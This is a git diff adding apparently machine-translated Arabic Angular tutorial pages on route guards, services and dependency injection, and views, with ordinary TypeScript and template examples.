+يوفر `ActivatedRouteSnapshot` الوصول إلى معلمات المسار للمسار الذي يخضع لحراسة. يعرض `RouterStateSnapshot` عنوان `RouterStateSnapshot` URL (محدد موقع الموارد الموحد) المطابق للمسار. `Component` مراجع عنصر صادر عن الطريق.
+
+لحراسة الطريق ، يجب أن تكون هناك فئة تستخدم أساليب الحراسة كخدمة. خدمة يمكن أن تضخ في AppRoutingModule لحراسة لها `Routes` . قد حقن قيمة رمزية للخدمة في أي واحد `Route` الكائن.
+
+ `import { NgModule } from '@angular/core'; 
+ import { RouterModule, Routes } from '@angular/router'; 
+ 
+ import { AuthService } from '../../services/auth.service'; 
+ import { UserService } from '../../services/user.service'; 
+ 
+ import { PrivateNestComponent } from '../../components/private-nest/private-nest.component'; 
+ import { PrivateAComponent } from '../../components/private-nest/private-a/private-a.component'; 
+ import { PrivateBComponent } from '../../components/private-nest/private-b/private-b.component'; 
+ 
+ const routes: Routes = [ 
+  { 
+    path: 'private-nest', 
+    component: PrivateNestComponent, 
+    canActivate: [ AuthService ], // !!! 
+    canActivateChild: [ AuthService ], // !!! 
+    canDeactivate: [ AuthService ], // !!! 
+    children: [ 
+      { path: 'private-A', component: PrivateAComponent }, 
+      { path: 'private-B', component: PrivateBComponent } 
+    ] 
+  } 
+ ]; 
+ 
+ @NgModule({ 
+  imports: [ RouterModule.forRoot(routes) ], 
+  exports: [ RouterModule ], 
+  providers: [ 
+    AuthService, 
+    UserService 
+  ] 
+ }) 
+ export class AppRoutingModule { } 
+` 
+
+`canActivate` و `canActivateChild` و يمكن `canDeactivate` التطبيق من AuthService. سيتم عرض تنفيذ الخدمة قريبًا مع تطبيق UserService.
+
+يوفر UserService المعلومات اللازمة لمصادقة مستخدم. تنفيذ عمليات أسلوب الحراسة AuthService المصادقة. يجب أن تتضمن AppRoutingModule الخدمتين في مصفوفة موفري الخدمة. هذا هو حاقن الوحدة النمطية يعرف كيفية إنشاء لها.
+
+توجد مسارات متداخلة الخروج من المسار `/private-nest` . يحتوي الكائن `Route` لـ `/private-nest` على بعض الحقول الجديدة. يجب أن تبدو أسمائهم مألوفة لأنها تعكس طرق الحراسة المقابلة لها.
+
+يقوم كل حقل بإطلاق طريقة تنفيذ الاسم نفسه داخل الخدمة عند تشغيلها. يمكن لأي عدد من الخدمات تعبئة هذا الصفيف أيضًا. يتم اختبار طريقة تنفيذ كل خدمة. يجب عليهم إرجاع قيمة منطقية أو `Observable` تنبعث منها قيمة منطقية.
+
+راجع تطبيقات AuthService و UserService أدناه.
+
+ `// user.service.ts 
+ 
+ import { Injectable } from '@angular/core'; 
+ import { Router } from '@angular/router'; 
+ 
+ class TheUser { 
+  constructor(public isLoggedIn: boolean = false) { } 
+ 
+  toggleLogin() { 
+    this.isLoggedIn = true; 
+  } 
+ 
+  toggleLogout() { 
+    this.isLoggedIn = false; 
+  } 
+ } 
+ 
+ const globalUser = new TheUser(); 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class UserService { 
+  theUser: TheUser = globalUser; 
+ 
+  constructor(private router: Router) { } 
+ 
+  get isLoggedIn() { 
+    return this.theUser.isLoggedIn; 
+  } 
+ 
+  login() { 
+    this.theUser.toggleLogin(); 
+  } 
+ 
+  logout() { 
+    this.theUser.toggleLogout(); 
+    this.router.navigate(['/']); 
+  } 
+ } 
+` 
+
+يتم تمرير المثيل نفسه من `TheUser` مع كل إنشاء مثيل لـ UserService. يوفر `TheUser` الوصول إلى `isLoggedIn` لتحديد حالة تسجيل دخول المستخدم. تسمح أساليب عامة أخرى اثنين UserService تبديل قيمة `isLoggedIn` . هذا هو أنه يمكن للمستخدم تسجيل الدخول والخروج.
+
+يمكنك التفكير في `TheUser` كمثال عالمي. يعد `UserService` واجهة `UserService` تقوم بتكوين هذا العمومية. `TheUser` التغييرات على `TheUser` من `UserService` إنشاء `UserService` واحدة على كل مثيل خدمة `UserService` الأخرى. ينفذ `UserService` إلى AuthService لتوفير الوصول إلى `isLoggedIn` من `TheUser` للمصادقة.
+
+ `import { Component, Injectable } from '@angular/core'; 
+ import { CanActivate, CanActivateChild, CanDeactivate, ActivatedRouteSnapshot, RouterStateSnapshot } from '@angular/router'; 
+ 
+ import { UserService } from './user.service'; 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class AuthService implements CanActivate, CanActivateChild, CanDeactivate<Component> { 
+  constructor(private user: UserService) {} 
+ 
+  canActivate(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) { 
+    if (this.user.isLoggedIn) 
+      return true; 
+    else 
+      return false; 
+  } 
+ 
+  canActivateChild(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) { 
+    return this.canActivate(route, state); 
+  } 
+ 
+  canDeactivate(component: Component, route: ActivatedRouteSnapshot, state: RouterStateSnapshot) { 
+    if (!this.user.isLoggedIn || window.confirm('Leave the nest?')) 
+      return true; 
+    else 
+      return false; 
+  } 
+ } 
+` 
+
+تنفذ AuthService كل أسلوب حراسة مستورد من `@angular/router` . تحدد كل طريقة حراسة إلى حقل مناظر في كائن `Route` PrivateNestComponent. مثيل instantService instantiates من منشئ AuthService. تحدد AuthService إذا كان يمكن للمستخدم المتابعة باستخدام `isLoggedIn` المكشوفة بواسطة UserService.
+
+يؤدي إرجاع `false` من حارس إلى توجيه المسار لحظر المستخدم من التوجيه. تسمح قيمة إرجاع `true` للمستخدم بالمضي إلى وجهة مساره. إذا تمت مصادقة أكثر من خدمة واحدة ، فيجب أن يتم إرجاعها كلها إلى السماح بالوصول. `canActivateChild` حراس مسارات الطفل من PrivateNestComponent. هذه الطريقة حارس حسابات للمستخدمين تجاوز PrivateNestComponent من خلال شريط العنوان.
+
+معلمات طريقة الحرس تمر تلقائيا عند الاحتجاج. في حين أن المثال لا يستخدمها ، إلا أنها توفر معلومات مفيدة من الطريق. يمكن للمطور استخدام هذه المعلومات للمساعدة في مصادقة المستخدم.
+
+AppComponent أيضا instantiates UserService للاستخدام المباشر في القالب الخاص به. مرجع إنشاء مثيل UserService من AppComponent و AuthService نفس فئة المستخدم ( `TheUser` ).
+
+ ``import { Component } from '@angular/core'; 
+ 
+ import { UserService } from './services/user.service'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  template: ` 
+  <ul> 
+    <li routerLink="/private-nest">Enter the secret nest!</li> 
+    <li routerLink="/">Leave the secret nest!</li> 
+    <li *ngIf="user.isLoggedIn"><button (click)="user.logout()">LOGOUT</button></li> 
+    <li *ngIf="!user.isLoggedIn"><button (click)="user.login()">LOGIN</button></li> 
+  </ul> 
+  <router-outlet></router-outlet> 
+  ` 
+ }) 
+ export class AppComponent { 
+  constructor(private user: UserService) { } 
+ } 
+`` 
+
+يعالج UserService كافة منطق AppComponent. AppComponent في الغالب يتعامل مع قالبها. يتم إنشاء UserService `user` من مُنشئ الفئة. تحدد بيانات `user` وظيفة القالب.
+
+#### استنتاج
+
+يوجّه التوجيه توازنًا دقيقًا بين تنظيم أقسام التطبيق وتقييدها. قد لا يتطلب تطبيق أصغر مثل مدونة أو صفحة تقديس أي توجيه. حتى ذلك الحين ، بما في ذلك القليل من التوجيه البعثرة لا يمكن أن يضر. قد يرغب المستخدم فقط في الإشارة إلى جزء من الصفحة بعد كل شيء.
+
+يطبق Angular مكتبة التوجيه الخاصة به والمبنية على [واجهة برمجة تطبيقات سجل](https://developer.mozilla.org/en-US/docs/Web/API/History_API) HTML5. يلغي API هذا التوجيه التجزئة بدلاً من استخدام `pushState(...)` و `replaceState(...)` . يقومون بتغيير عنوان URL لعنوان الويب دون تحديث الصفحة. تعمل إستراتيجية توجيه موقع المسار الافتراضي في Angular على هذا النحو. `RouterModule.forRoot(routes, { useHash: true })` إعداد `RouterModule.forRoot(routes, { useHash: true })` توجيه التجزئة إذا كان مفضلاً.
+
+هذه المقالة تركز على استراتيجية الموقع المسار الافتراضي. بغض النظر عن الاستراتيجية ، تتوفر العديد من أدوات التوجيه لتوجيه تطبيق ما. يعرض `RouterModule` هذه الأدوات المساعدة من خلال صادراتها. المسارات الأساسية ، المعلمات ، المتداخلة ، والحراسة كلها ممكنة باستخدام RouterModule. للحصول على تطبيقات أكثر تقدمًا بما في ذلك المسارات المحملة بطبقة ، اطلع على الروابط أدناه.
+
+## مصادر
+
+*   [فريق الزاوي. "التوجيه والملاحة". _جوجل_ . تم الوصول إليه في 8 يونيو 2018.](https://angular.io/guide/router)
+*   [حسين ، عاصم. "Angular 5: Routing". _codecraft.tv_ . تم الوصول إليه في 8 يونيو 2018.](https://codecraft.tv/courses/angular/routing)
+*   [سميث ، بيتر. "3 أنواع من تحميل الطريق في Angular ، وأوضح في الكلمات 500ish". _Upstate Interactive_ ، 3 May 2017. Accessed 8 June 2018.](https://blog.upstate.agency/3-types-of-route-loading-in-angular-explained-in-500ish-words-f22976e1f60b)
+*   [كوريتسكي ، مكسيم. "تجنب الالتباس المشترك مع وحدات في الزاوي". _Angular In Depth_ ، 10 Aug. 2017. تم الوصول إليه في 8 يونيو 2018.](https://blog.angularindepth.com/avoiding-common-confusions-with-modules-in-angular-ada070e6891f)
+
+## مصادر
+
+*   [وثائق الزاوي](https://angular.io/guide)
+*   [التوجيه والملاحة](https://angular.io/guide/router)
+*   [Angular 5: Routing Tutorial by Asim Hussain](https://codecraft.tv/courses/angular/routing/overview)
+*   [الزاوي في العمق](https://blog.angularindepth.com)
+*   [Angular GitHub Repository](https://github.com/angular/angular)
+*   [الزاوي CLI](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/services-and-injectors/index.md b/client/src/guide/arabic/angular/services-and-injectors/index.md
new file mode 100644
index 0000000000..3a4173ed26
--- /dev/null
+++ b/client/src/guide/arabic/angular/services-and-injectors/index.md
@@ -0,0 +1,253 @@
+---
+title: Services and Injectors
+localeTitle: الخدمات والحاقنات
+---
+# الخدمات والحاقنات
+
+#### التحفيز
+
+تكون المكونات مسؤولة عن البيانات التي يتم إدخالها في القالب. إن وجود _خدمات_ خارجية للاستفادة منها يمكن أن يؤدي إلى تبسيط هذه المسؤولية. بالإضافة إلى ذلك ، يسهل الحفاظ على الغلاف الخارجي.
+
+قد يؤدي تفويض العديد من المسؤوليات إلى مكون واحد إلى تعقيد فئة المكون. وماذا لو كانت هذه المسؤوليات تنطبق على عدة مكونات؟ يعد نسخ ولصق هذا المنطق ممارسة بالغة السوء. أي تغييرات مستقبلية في المنطق سيكون من الصعب تنفيذها والاختبار.
+
+الزاوي يعني للحد من هذه المشكلة مع الخدمات وحقن التبعية. يعمل كلا المفهومين معًا لتوفير وظائف _نمطية_ .
+
+المكونات لا تحتاج إلى تقديم أي معلومات غريبة سواء. تستورد الخدمات ما تحتاجه لتعمل نيابة عن المكونات التي تقوم _بتقديم الخدمات_ لها. تحتاج المكونات فقط إلى إنشاء الخدمة. من هناك _تخدم_ احتياجاتها الخاصة مع مثيل خدمة مثيله.
+
+أما بالنسبة للاختبار والتعديل المستقبلي ، فإن كل المنطق في مكان واحد. خدمة instantiates من مصدرها. تنطبق الاختبارات والتعديلات على المصدر في أي مكان يتم فيه حقن الخدمة.
+
+#### مقدمة في الخدمات
+
+الخدمة هي نوع من _التخطيطي_ المتاح في Angular. وهو قابل للتوليد بواسطة واجهة سطر الأوامر (CLI): `ng generate service [name-of-service]` . استبدل `[name-of-service]` باسم مفضل. يعطي الأمر CLI ما يلي.
+
+ `import { Injectable } from '@angular/core'; 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class LoggerService { 
+  constructor() { } 
+ } 
+` 
+
+منطق الخدمة متميز داخل فئتها. يفسر الزاوي فئة كخدمة _للحقن_ القائمة قبالة الديكور `@Injectable` . يجب أن _تسجل_ الخدمات القابلة للحقن مع حاقن.
+
+المكون instantiates خدمة بينما يوفر حاقن ذلك المثيل. تابع القراءة في القسم التالي لمعرفة المزيد عن طريق الحقن.
+
+قدم حقل البيانات الوصفية `@Injectable` `providedIn: 'root'` يستهدف وحدة الجذر من التطبيق الحالي ( `app.module.ts` ). تسجل الخدمة مع حاقن الوحدة النمطية بحيث يمكنها _حقن_ هذه الخدمة في أي من أطفالها.
+
+الحاقنات هي لبنات بناء نظام حقن التبعية في Angular. تعتبر الحاقنات مكانًا جيدًا لتركيز انتباهك قبل المتابعة مع الخدمات.
+
+#### عن طريق الحقن
+
+يحتوي التطبيق ، الذي يبدأ بـ `app.module.ts` ، على تسلسل هرمي عن طريق الحقن. توجد إلى جانب كل وحدة ومكون في شجرة التطبيق.
+
+![التسلسل الهرمي للتطبيق](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image5.png)
+
+تشير الدوائر الخضراء عن طريق الحقن. أنها توفر مثيلات الخدمة إلى instantiating المكونات. اعتمادًا على نوع الحاقن الذي تم تسجيل الخدمة به ، قد يكون أو لا يكون متاحًا لأحد المكونات.
+
+الخدمات المسجلة في جذر التطبيق ( `app.module.ts` ) متاحة لجميع المكونات. حاقن لمكون قد لا يكون لها خدمة معينة مسجلة. إذا كانت هذه هي الحالة وطلب المكون الخاص به إنشاء مثيل ، سيتم تأجيل الحاقن إلى أصلها. يستمر هذا الاتجاه حتى الوصول إلى حاقن الجذر أو تم العثور على الخدمة.
+
+بالنظر إلى المخطط ، قل أن هناك خدمة تسجل في حاقن النقطة B. لن تتمكن جميع المكونات عند النقطة C أو لأسفل من الوصول إلى الخدمة المسجلة في حاقن B. سوف لا تؤجل عن طريق الحقن لأطفالهم لمثيل خدمة.
+
+#### حقن التبعية
+
+توجد طرق متعددة لتسجيل خدمة باستخدام محقنات التطبيق.
+
+`providedIn: 'root'` حقل `providedIn: 'root'` بيانات التعريف `providedIn: 'root'` في `@Injectable` الأكثر `@Injectable` . تم إطلاق حقل البيانات الوصفية هذا مع Angular 6.
+
+كما ذكر من قبل ، `providedIn: 'root'` يسجل خدمة مع حاقن وحدة الجذر. إنه سهل الاستخدام عبر التطبيق بأكمله كنتيجة لذلك.
+
+الجدة `providedIn: 'root'` هي _تهز الأشجار_ . إذا كانت الخدمة غير مستخدمة على الرغم من تسجيلها ، فسيتم _اهتزازها_ من التطبيق في وقت التشغيل. بهذه الطريقة لا تستهلك أي موارد.
+
+والطريقتان الأخريان هما أكثر مباشرة وتقليدية. منح ، أنها لا تقدم هزة الشجرة.
+
+يمكن للخدمة التسجيل مع أي حاقن على طول شجرة المكون. يمكنك إدراج الخدمة كموفر في حقل بيانات تعريف `@Component` : `providers: []` . الخدمة متاحة للمكون وأطفاله
+
+في إستراتيجية التسجيل الثالثة ، يتم `providers: []` البيانات الوصفية كحقل خاص بها في ديكور `@NgModule` . الخدمة قابلة للحجز من الوحدة إلى شجرة المكونات الأساسية.
+
+تذكر أنه على عكس `providedIn: 'root'` ، `@NgModule` تسجيل `@NgModule` لا يقدم `@NgModule` للأشجار. كلا الاستراتيجيتين متطابقة. بمجرد تسجيل إحدى الخدمات باستخدام `@NgModule` ، فإنها تستهلك الموارد حتى إذا تركت بدون استخدام من قبل التطبيق.
+
+#### الخدمات مستمرة
+
+كتابة خدمة فعلية تأتي بعد ذلك. للتلخيص ، تقوم الخدمات بالتعامل مع وظائف معينة بالنيابة عن مكونات التطبيق.
+
+خدمات تتفوق في التعامل مع العمليات المشتركة. انهم قطع الغيار المسؤولية عن طريق القيام بذلك. يوفر الوقت لعدم الحاجة إلى إعادة كتابة العمليات الشائعة عبر مكونات متعددة. وهو أيضًا قابل للاختبار أكثر نظرًا لأن الشفرة موجودة في مكان واحد. تحتاج التغييرات فقط إلى حدوثها في مكان واحد دون الحاجة إلى البحث في مكان آخر.
+
+#### استخدم حالات
+
+تقدم الأمثلة القليلة شوطا طويلا نحو فهم كامل للخدمات.
+
+*   سجلات وحدة التحكم
+    
+*   طلبات واجهة برمجة التطبيقات
+    
+
+كلاهما شائع في معظم التطبيقات. وجود خدمات للتعامل مع هذه العمليات سيقلل من تعقيد المكونات.
+
+##### سجلات وحدة التحكم
+
+هذا المثال يتراكم من الهيكل الأساسي `@Injectable` . الهيكل العظمي متاح من خلال تنفيذ CLI ( `ng generate service [name-of-service]]` .
+
+ `// services/logger.service.ts 
+ 
+ import { Injectable } from '@angular/core'; 
+ 
+ interface LogMessage { 
+  message:string; 
+  timestamp:Date; 
+ } 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class LoggerService { 
+  callStack:LogMessage[] = []; 
+ 
+  constructor() { } 
+ 
+  addLog(message:string):void { 
+      // prepend new log to bottom of stack 
+      this.callStack = [{ message, timestamp: new Date() }].concat(this.callStack); 
+  } 
+ 
+  clear():void { 
+      // clear stack 
+      this.callStack = []; 
+  } 
+ 
+  printHead():void { 
+      // print bottom of stack 
+      console.log(this.callStack[0] || null); 
+  } 
+ 
+  printLog():void { 
+      // print bottom to top of stack on screen 
+      this.callStack.reverse().forEach((logMessage) => console.log(logMessage)); 
+  } 
+ 
+  getLog():LogMessage[] { 
+      // return the entire log as an array 
+      return this.callStack.reverse(); 
+  } 
+ } 
+` 
+
+تسجيل LoggerService مع الوحدة النمطية الجذر من خلال بيانات `@Injectable` . وبالتالي يمكن إنشاء في `app.component.html` .
+
+ ``// app.component.ts 
+ 
+ import { Component, OnInit } from '@angular/core'; 
+ import { LoggerService } from './services/logger.service'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  templateUrl: './app.component.html' 
+ }) 
+ export class AppComponent implements OnInit { 
+  logs:object[] = []; 
+ 
+  constructor(private logger:LoggerService) { } 
+ 
+  updateLog():void { 
+      this.logger.printHead(); 
+      this.logs = this.logger.getLog(); 
+  } 
+ 
+  logMessage(event:any, message:string):void { 
+      event.preventDefault(); 
+ 
+      this.logger.addLog(`Message: ${message}`); 
+      this.updateLog(); 
+  } 
+ 
+  clearLog():void { 
+      this.logger.clear(); 
+      this.logs = []; 
+  } 
+ 
+  ngOnInit():void { 
+      this.logger.addLog(“View Initialized”); 
+      this.updateLog(); 
+  } 
+ } 
+`` 
+
+يوفر القالب HTML مزيدًا من الإحصاءات حول استخدام المكون لـ LoggerService.
+
+ `
+<!-- app.component.html --> 
+ 
+ <h1>Log Example</h1> 
+ 
+ <form (submit)="logMessage($event, userInput.value)"> 
+  <input #userInput placeholder="Type a message..."> 
+  <button type="submit">SUBMIT</button> 
+ </form> 
+ 
+ <h3>Complete Log</h3> 
+ <button type="button" (click)="clearLog()">CLEAR</button> 
+ <ul> 
+  <li *ngFor="let log of logs; let i=index">{{ logs.length - i }} > {{ log.message }} @ {{ log.timestamp }}</li> 
+ </ul> 
+` 
+
+هذا يشعر به تطبيق ToDo. يمكنك تسجيل الرسائل ومسح سجل الرسائل. تخيل لو تم دفع كل المنطق من الخدمة في AppComponent! كان من شأنه أن يعقد رمز. يحتفظ LoggerService رمز السجل ذات الصلة مغلفة من فئة AppComponent الأساسية.
+
+##### طلبات الجلب
+
+إليك مثال آخر يستحق اللعب به. هذا المثال ممكن بفضل [JSONPlaceholder 1 من نوع typicode](https://jsonplaceholder.typicode.com) . واجهة برمجة التطبيقات عامة ومجانية الاستخدام.
+
+ ``import { Injectable } from '@angular/core'; 
+ import { HttpClient } from '@angular/common/http'; 
+ import { Observable } from 'rxjs'; 
+ 
+ // https://jsonplaceholder.typicode.com 
+ // public API created by typicode @ https://github.com/typicode 
+ 
+ interface Post { 
+  userId:number; 
+  id:number; 
+  title:string; 
+  body:string; 
+ } 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class PlaceholderService { 
+  constructor(private http:HttpClient) { } 
+ 
+  getPosts():Observable<Post[]> { 
+      return this.http.get('https://jsonplaceholder.typicode.com/posts'); 
+  } 
+ 
+  getPost(id:number):Observable<Post> { 
+      return this.http.get(`https://jsonplaceholder.typicode.com/posts/${id}`); 
+  } 
+ } 
+`` 
+
+هذا هو أكثر من قطعة بذاتها من مثال كامل تماما. تميل طلبات الجلب إلى العمل بشكل أفضل كخدمة للحقن. البديل هو مكون أكثر تعقيدًا. تشترك الفئة التي تم حقنها في ما تقوم بتكوينه المسبق المكون المسبق Serviceerver.
+
+#### استنتاج
+
+الخدمات والحقن التبعية مفيدة جدا معا. فهي تسمح للمطورين بتغليف المنطق العام وحقن عبر مكونات متعددة مختلفة. هذا وحده هو راحة واسعة لأي صيانة في المستقبل.
+
+تعمل الحاقنات كوسيط. أنها توسط بين instantiating المكونات وخزان الخدمات المسجلة. توفر الحاقنات هذه الخدمات الفورية لأطفال فروعهم.
+
+راجع الارتباطات القليلة التالية لمزيد من المعلومات حول الخدمات وحقن التبعية.
+
+## مصادر
+
+1.  [Typicode، _JSONPlaceholder_ ، https://jsonplaceholder.typicode.com، Accessed 29 May 2018.](https://jsonplaceholder.typicode.com)
+
+## مصادر
+
+*   [وثائق الزاوي](https://angular.io/docs)
+    
+*   [Angular GitHub Repository](https://github.com/angular/angular)
+    
+*   [حقن التبعية](https://angular.io/guide/dependency-injection-pattern)
+    
+*   [مقدمة إلى الخدمات و DI](https://angular.io/guide/architecture-services)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/views/index.md b/client/src/guide/arabic/angular/views/index.md
new file mode 100644
index 0000000000..821e108e19
--- /dev/null
+++ b/client/src/guide/arabic/angular/views/index.md
@@ -0,0 +1,239 @@
+---
+title: Views
+localeTitle: الآراء
+---
+# الآراء
+
+#### التحفيز
+
+تقدم المشاهدات طبقة ضرورية من التجريد. أنها تبقي الزاوي مستقلة من المرافق المحددة للمنصة. تستخدم تقنية Angular ، كخدمة عبر الأنظمة الأساسية ، وجهات نظرها للتواصل مع النظام الأساسي.
+
+بالنسبة إلى كل عنصر في نموذج HTML في Angular ، هناك طريقة عرض مقابلة. ينصح Angular بالتفاعل مع الأنظمة الأساسية من خلال هذه المشاهدات. في حين أن التلاعب المباشر لا يزال ممكنا ، يحذر Angular من ذلك. تقدم Angular واجهة برمجة التطبيقات الخاصة بها (API) لتحل محل المعالجات الأصلية.
+
+تؤدي طرق عرض واجهة برمجة التطبيقات الخاصة بالنظام الأساسي إلى عواقبها. عند تطوير Angular في متصفح ويب ، توجد عناصر في مكانين: DOM والعرض. لا يؤثر وضع messing إلا مع DOM في العرض.
+
+نظرًا لأن Angular لا يتفاعل مع النظام الأساسي ، فإن هذا يخلق عدم انقطاع. يجب أن تعكس المشاهدات النظام الأساسي واحد لواحد. خلاف ذلك ، فإن موارد الموارد الزاوية تدير عناصر لا تتوافق معها. هذا أمر فظيع في حالة حذف العناصر.
+
+هذه الأنواع من التناقضات تجعل المشاهدات تبدو غير ضرورية. لا تنس أبداً أن Angular عبارة عن نظام تطوير عالمي قبل كل شيء. تعد المشاهدات تجريدًا ضروريًا لهذه الغاية.
+
+من خلال الالتزام بالآراء ، ستعمل التطبيقات الزاويّة عبر جميع منصات التطوير المدعومة. تتضمن الأنظمة الأساسية الويب و Android و Apple iOS.
+
+#### ملحوظة
+
+من هنا ، تفترض هذه المقالة بيئة متصفح ويب. لا تتردد في استبدال DOM بالعقلية بشكل أكثر قابلية للتطبيق على النظام الأساسي المفضل لديك.
+
+#### ما هي المشاهدات؟
+
+تشبه المشاهدات تقريبًا DOM الافتراضية الخاصة بها. يحتوي كل عرض على مرجع إلى قسم مناظر في DOM. داخل العرض هي عقدات تعكس ما هو موجود في هذا القسم. تعيّن Angular عقدة عرض واحدة لكل عنصر DOM. تحتوي كل عقدة على مرجع لعنصر مطابق.
+
+عندما يتحقق الزاوي لإجراء تغييرات ، فإنه يتحقق من المشاهدات. الزاوي يتجنب DOM تحت غطاء محرك السيارة. تشير المشاهدات إلى DOM نيابة عنها. توجد آليات أخرى لضمان تقديم تغييرات العرض إلى DOM. وعلى العكس ، لا تؤثر التغييرات التي تطرأ على DOM في طرق العرض.
+
+مرة أخرى ، تكون المشاهدات شائعة عبر جميع منصات التطوير بجانب DOM. حتى في حالة التطوير لمنصة واحدة ، لا تزال الآراء تعتبر أفضل الممارسات. وهي تضمن أن Angular لديه تفسير صحيح لـ DOM.
+
+قد لا توجد طرق العرض في مكتبات الجهات الخارجية. تلاعب DOM المباشر هو فتحة للهروب لهذا النوع من السيناريو. منح ، لا نتوقع أن يعمل التطبيق عبر منصة.
+
+#### أنواع المشاهدات
+
+هناك نوعان رئيسيان من المشاهدات: المدمجة والمضيفة.
+
+هناك أيضا وجود حاويات الرؤية. أنها تحمل وجهات النظر المدمجة والمضيف وغالبا ما يشار إليها باسم "وجهات نظر" بسيطة.
+
+`@Component` كل فئة `@Component` حاوية عرض (عرض) مع Angular. تنشئ المكونات الجديدة محددًا مخصصًا يستهدف عنصر DOM معين. يتم إرفاق العرض بهذا العنصر أينما يظهر. يعرف Angular الآن أن المكون موجود في نموذج العرض.
+
+وجهات نظر المضيف تعلق على المكونات التي تم إنشاؤها بشكل حيوي مع المصانع. توفر المصانع مخططًا لـ إنشاء مثيل للعرض. وبهذه الطريقة يمكن للتطبيق إنشاء مثيل لمضيف المكون أثناء وقت التشغيل. يتم إرفاق عرض مضيف إلى المجمّع الخاص بالمكون لكل إنشاء مثيل له. يخزن هذا العرض البيانات التي تصف قدرات المكونات التقليدية.
+
+`<ng-template></ng-template>` شبيهًا بعنصر HTML5 `<template></template>` . يعمل `ng-template` في Angular مع العروض المضمنة. لا يتم إرفاق طرق العرض هذه بعناصر DOM بخلاف طرق عرض المضيف. وهي مماثلة لوجهات النظر المضيفة لأن كلا النوعين موجودان داخل حاويات العرض.
+
+ضع في اعتبارك أن `ng-template` ليس عنصر DOM. يحصل التعليق عليها في وقت لاحق ترك أي شيء سوى عقدة العرض المضمنة وراء.
+
+يعتمد الفرق على بيانات الإدخال ؛ وجهات النظر المضمنة تخزين أي بيانات المكون. تخزن مجموعة من العناصر كعقد تضم القالب الخاص بها. يشكّل القالب جميع HTML الداخلي من `ng-template` . كل عنصر داخل العرض المضمّن هو عقدة العرض المنفصلة الخاصة به.
+
+#### وجهات النظر والحاويات المضيفة
+
+مكونات المضيف _المضيف_ الديناميكي. يتم إرفاق حاويات العرض (طرق العرض) تلقائيًا بالعناصر الموجودة بالفعل في القالب. يمكن أن يتم إرفاق طرق العرض بأي عنصر بخلاف ما هو فريد لفئات المكونات.
+
+فكر في الطريقة التقليدية لتوليد المكونات. تبدأ من خلال إنشاء فصل `@Component` بـ `@Component` وملء البيانات الوصفية. يحدث هذا النهج لأي عنصر مكون محدد مسبقًا في القالب.
+
+حاول استخدام أمر واجهة سطر الأوامر (CLI) Angular: `ng generate component [name-of-component]` . وتنتج ما يلي.
+
+ `import { Component, OnInit } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  templateUrl: './example.component.html', 
+  styleUrls: ['./example.component.css'] 
+ }) 
+ export class ExampleComponent implements OnInit { 
+  constructor() { } 
+ 
+  ngOnInit() { } 
+ } 
+` 
+
+يؤدي ذلك إلى إنشاء المكون مع `app-example` المحدد. يعلق هذا حاوية عرض على `<app-example></app-example>` في القالب. إذا كان هذا هو جذر التطبيق ، فإن العرض الخاص به سيضم جميع طرق العرض الأخرى. يمثل عرض الجذر بداية التطبيق من منظور Angular.
+
+يتطلب إنشاء المكونات ديناميكيًا وتسجيلها في نموذج العرض الزاوي بضع خطوات إضافية. تساعد التوجيهات الهيكلية على إدارة المحتوى الديناميكي ( `*ngIf, *ngFor, and *ngSwitch…` ). لكن التوجيهات لا تنطبق على التطبيقات الأكبر. الكثير من التوجيهات الهيكلية يعقد القالب.
+
+هذا هو المكان الذي يتم فيه إنشاء مكونات من منطق الفصل الدراسي الحالي. تحتاج هذه المكونات إلى إنشاء عرض مضيف يمكن إدراجه في نموذج العرض. تحمل ملفات المضيف بيانات للمكونات حتى يتعرف Angular على غرضها الهيكلي.
+
+##### تواصل وجهات النظر المضيفة
+
+كل مكون له تعريف فئة. مع ذلك ، لا تدعم JavaScript الفصول الدراسية. الطبقات هي السكر النحوي. أنها تنتج وظائف تحتوي على مكونات المكونات بدلا من ذلك.
+
+تعمل المصانع كمخططات لعروض المضيف. إنها تبني وجهات نظر للتعامل مع Angular بالنيابة عن مكوناتها. يتم إرفاق طرق عرض المضيف مع عناصر DOM. تقنيًا أي عنصر على ما يرام ولكن الهدف الأكثر شيوعًا هو `<ng-component></ng-component>` .
+
+يجب أن توجد حاوية مشاهدة (عرض) لعقد المشاهدات أولاً. `<ng-container></ng-container>` هو مكان رائع لإرفاق حاوية مشاهدة. عرض حاويات هي نفس نوع طرق العرض التي تنطبق أيضًا على عناصر فئة القالب.
+
+عدد قليل من المساعدين والمراجع من `@angular/core` توفر المرافق الأخرى اللازمة. المثال التالي يضعها معًا.
+
+ ``// another.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  template: ` 
+  <h1>Another Component Content</h1> 
+  <h3>Dynamically Generated!</h3> 
+  ` 
+ }) 
+ export class AnotherComponent { } 
+`` 
+
+ ``// example.component.ts 
+ 
+ import { AfterViewInit, Component, ViewChild, 
+ ViewContainerRef, ComponentFactoryResolver } from '@angular/core'; 
+ import { AnotherComponent } from './another.component'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>Application Content</h1> 
+  <ng-container #container></ng-container> 
+  <h3>End of Application</h3> 
+  `, 
+  entryComponents: [ AnotherComponent ] 
+ }) 
+ export class ExampleComponent implements AfterViewInit { 
+  @ViewChild("container", { read: ViewContainerRef }) ctr: ViewContainerRef; 
+ 
+  constructor(private resolve: ComponentFactoryResolver) { } 
+ 
+  ngAfterViewInit() { 
+    const factory = this.resolve.resolveComponentFactory(AnotherComponent); 
+    this.ctr.createComponent(factory); 
+  } 
+ } 
+`` 
+
